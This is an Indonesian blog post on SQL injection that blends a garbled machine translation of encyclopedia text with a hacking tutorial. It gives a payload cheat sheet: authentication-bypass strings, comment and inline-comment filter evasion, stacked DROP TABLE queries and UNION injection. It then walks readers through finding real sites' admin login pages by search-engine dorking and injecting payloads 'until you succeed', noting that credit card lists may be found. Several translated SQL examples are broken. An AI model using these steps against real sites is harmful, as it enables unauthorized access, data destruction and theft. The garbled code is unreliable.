PENGERTIAN
SQL injection adalah teknik injeksi kode yang mengeksploitasi kerentanan keamanan yang terjadi pada lapisan aplikasi database. Kerentanan ini hadir ketika masukan pengguna baik salah disaring untuk lolos karakter string literal tertanam dalam pernyataan SQL atau masukan pengguna tidak strongly typed dan dengan demikian tak terduga dieksekusi. Ini adalah sebuah instance dari kelas yang lebih umum dari kerentanan yang dapat terjadi kapan pun salah satu bahasa pemrograman atau scripting adalah tertanam dalam lainnya. Serangan injeksi SQL juga dikenal sebagai serangan penyisipan SQL.
1) SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Bentuk SQL injection terjadi ketika masukan pengguna tidak disaring untuk karakter melarikan diri dan kemudian dilewatkan ke dalam suatu pernyataan SQL. Hal ini menyebabkan potensi manipulasi laporan dilakukan pada database oleh pengguna-akhir aplikasi.
Baris kode berikut menggambarkan kerentanan ini:
Pernyataan = "SELECT * FROM` user `WHERE` name `= '" + username + "';" Kode SQL dirancang untuk menarik catatan username tertentu dari tabel pengguna. Namun, jika "username" variabel dibuat dengan cara tertentu oleh seorang pengguna jahat, pernyataan SQL dapat melakukan lebih dari penulis kode yang ditujukan. Sebagai contoh, pengaturan "username" variabel sebagai
'Atau '1' = '1
Atau menggunakan komentar untuk bahkan memblokir seluruh query:
'Atau '1' = '1';/*'
menjadikan pernyataan SQL ini oleh bahasa induk:
SELECT * FROM `user` WHERE `name` =''OR '1 '= '1';
Jika kode ini akan digunakan dalam sebuah prosedur otentikasi maka contoh ini dapat digunakan untuk memaksakan pemilihan sebuah nama pengguna yang sah karena evaluasi '1 '= '1' selalu benar.
Nilai berikut "username" dalam pernyataan di bawah ini akan menyebabkan penghapusan tabel "pengguna" serta pemilihan semua data dari tabel "userinfo" (pada intinya mengungkap informasi setiap pengguna), dengan menggunakan API yang memungkinkan beberapa pernyataan:
a '; DROP TABLE `pengguna`; SELECT * FROM `userinfo` WHERE' t t '='
Masukan ini membuat pernyataan akhir SQL sebagai berikut:
SELECT * FROM `user` WHERE `nama` 'a' =; DROP TABLE `pengguna`; SELECT * FROM `userinfo` 't' MANA
Sementara sebagian besar implementasi SQL server memungkinkan beberapa pernyataan akan dieksekusi dengan satu panggilan dengan cara ini, beberapa API SQL seperti PHP mysql_query (); fungsi tidak mengijinkan ini untuk alasan keamanan. Hal ini mencegah penyerang dari menyuntikkan query sepenuhnya terpisah, tetapi tidak menghentikan mereka dari memodifikasi query.
Salah Penanganan Jenis
Bentuk injeksi SQL terjadi ketika pengguna bidang yang disediakan tidak diketik kuat atau tidak diperiksa untuk jenis kendala. Hal ini bisa terjadi ketika bidang numerik akan digunakan dalam pernyataan SQL, tetapi pemrogram tidak membuat cek untuk memvalidasi bahwa pengguna disediakan input numerik. Sebagai contoh:
pernyataan: = "SELECT * FROM` userinfo `WHERE` id `=" + a_variable + ";"
Hal ini jelas dari pernyataan ini bahwa penulis dimaksudkan a_variable untuk menjadi nomor berhubungan ke kolom "id". Namun, jika itu sebenarnya sebuah string maka pengguna akhir dapat memanipulasi pernyataan sebagaimana mereka pilih, sehingga melewati kebutuhan untuk karakter melarikan diri. Misalnya, pengaturan a_variable: 1; DROP TABLE `pengguna`
akan drop (menghapus) "pengguna" tabel dari database, karena SQL akan diberikan sebagai berikut: SELECT * FROM `userinfo` WHERE `id` = 1; DROP TABLE `pengguna`;
Kerentanan dalam database server.
Kadang-kadang kerentanan dapat eksis dalam perangkat lunak server database itu sendiri, seperti yang terjadi dengan mysql_real_escape_string server MySQL () fungsi Hal ini akan memungkinkan penyerang untuk melakukan serangan SQL injection sukses berdasarkan karakter Unicode buruk bahkan jika input pengguna sedang melarikan diri. Bug ini telah ditambal dengan rilis versi 5.0.22 (dirilis pada tanggal 24 Mei.
Blind SQL injection. Blind SQL Injection digunakan ketika sebuah aplikasi web yang rentan terhadap injeksi SQL tetapi hasil suntikan tidak terlihat bagi penyerang. Halaman dengan kerentanan tidak mungkin menjadi salah satu yang menampilkan data tetapi akan ditampilkan berbeda tergantung pada hasil pernyataan logis disuntikkan ke pernyataan SQL yang sah disebut untuk halaman tersebut. Jenis serangan bisa menjadi waktu-intensif karena pernyataan baru harus dibuat untuk setiap bit pulih. Ada beberapa alat yang dapat mengotomatisasi serangan ini sekali lokasi kerentanan dan informasi target telah .
Tanggapan Bersyarat
Salah satu jenis SQL injection buta memaksa database untuk mengevaluasi pernyataan logis pada layar aplikasi biasa.
SELECT `booktitle` DARI `Booklist` WHERE `bookId` = 'OOk14cd' DAN '1 '= '1';
akan menghasilkan halaman yang normal sedangkan SELECT `booktitle` DARI `Booklist` WHERE `bookId` = 'OOk14cd' DAN '1 '= '2';
kemungkinan akan memberikan hasil yang berbeda jika halaman tersebut rentan terhadap SQL injection. Sebuah injeksi seperti ini mungkin menyarankan untuk penyerang bahwa SQL injection buta adalah mungkin, meninggalkan penyerang untuk merancang pernyataan yang mengevaluasi untuk benar atau salah tergantung pada isi kolom atau tabel lain di luar daftar kolom SELECT's
Kesalahan Bersyarat
SQL injection buta menyebabkan kesalahan SQL dengan memaksa database untuk mengevaluasi pernyataan yang menyebabkan kesalahan jika pernyataan WHERE adalah benar. Sebagai contoh, SELECT 1 / 0 DARI `user` WHERE `username` 'Ralph' =;
pembagian dengan nol hanya akan dievaluasi dan menyebabkan kesalahan jika pengguna Ralph ada.
Sisa Penundaan adalah jenis SQL injection buta yang menyebabkan mesin SQL untuk mengeksekusi query berjalan panjang atau penundaan waktu tergantung pada pernyataan logika disuntikkan. Penyerang kemudian dapat mengukur kali halaman yang dibutuhkan untuk beban untuk menentukan apakah pernyataan disuntikkan adalah benar
Mencegah SQL Injection.
Untuk melindungi terhadap injeksi SQL, masukan user tidak harus langsung dimasukkan dalam pernyataan SQL. Sebaliknya, pernyataan parameter harus digunakan (lebih disukai), atau input pengguna harus secara hati-hati melarikan diri atau disaring. Dengan platform pengembangan yang paling, laporan dapat digunakan parameter yang bekerja dengan parameter (penampung kadang-kadang disebut atau variabel mengikat) daripada embedding input pengguna dalam pernyataan itu. Dalam banyak kasus, pernyataan SQL adalah tetap, dan setiap parameter adalah skalar, bukan meja. Input pengguna kemudian ditugaskan (terikat) untuk parameter. Ini adalah contoh menggunakan Java dan API JDBC:
PreparedStatement prep = conn.prepareStatement ("SELECT * FROM` user `WHERE USERNAME = DAN PASSWORD? =?");
prep.setString (1, username); prep.setString (2, password);
prep.executeQuery ();
Saat ini hanya H2 Database Engine mendukung kemampuan untuk menegakkan parameterisasi query [5] Namun,. Satu kelemahan adalah bahwa query dengan contoh tidak mungkin atau tidak praktis karena sulit untuk menerapkan contoh query dengan menggunakan query parameter. Menggunakan perpustakaan object-relational mapping menghindari kebutuhan untuk menulis kode SQL. Perpustakaan ORM yang berlaku akan menghasilkan laporan parameterized SQL dari kode berorientasi obyek. A lurus ke depan, meskipun rawan kesalahan, cara untuk mencegah suntikan untuk melarikan diri karakter yang memiliki arti khusus dalam SQL. Manual untuk DBMS SQL yang menjelaskan karakter memiliki arti khusus, yang memungkinkan membuat daftar hitam yang komprehensif karakter yang perlu terjemahan. Sebagai contoh, setiap terjadinya kutip tunggal (') dalam parameter harus diganti dengan dua tanda kutip tunggal ('') untuk membentuk suatu string literal SQL yang valid. Dalam PHP, misalnya, biasanya untuk melarikan diri parameter menggunakan fungsi mysql_real_escape_string (); sebelum mengirim SQL query:
$ Query = sprintf ("SELECT * FROM` User `WHERE UserName DAN '% s' = Password '% s' =",
mysql_real_escape_string ($ Username),
mysql_real_escape_string ($ Password));
mysql_query ($ query);
Rutin melalui string melarikan diri ke SQL adalah kesalahan rawan karena mudah lupa untuk lolos dari string yang diberikan. Membuat lapisan transparan untuk mengamankan input dapat mengurangi kesalahan-wilayah rawan ini, jika tidak sepenuhnya menghilangkannya.
Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
Bug SQL Injection berbahaya ?
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.
Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice
Contoh sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintaks SQL Injection
1) Sintaks SQL string ‘-- setelah nama username
2) Query database awal :
Berubah menjadi :
Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini
Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#
Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan
2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya
3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–
4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)
5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist
Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist
6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.
Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel
Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.
Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.
DAFTAR PUSTAKA
http://en.wikipedia.org/wiki/SQL_injection
http://www.binushacker.net/simple-sql-injection-tutorial.html
BM-100, ”Hacking hiltonjakarta.com (SQL Injection)”, 24 Juli 2005, (http://www.jasakom.com).
Free Template Blogger collection template Hot Deals BERITA_wongANteng SEO theproperty-developer






0 komentar:
Posting Komentar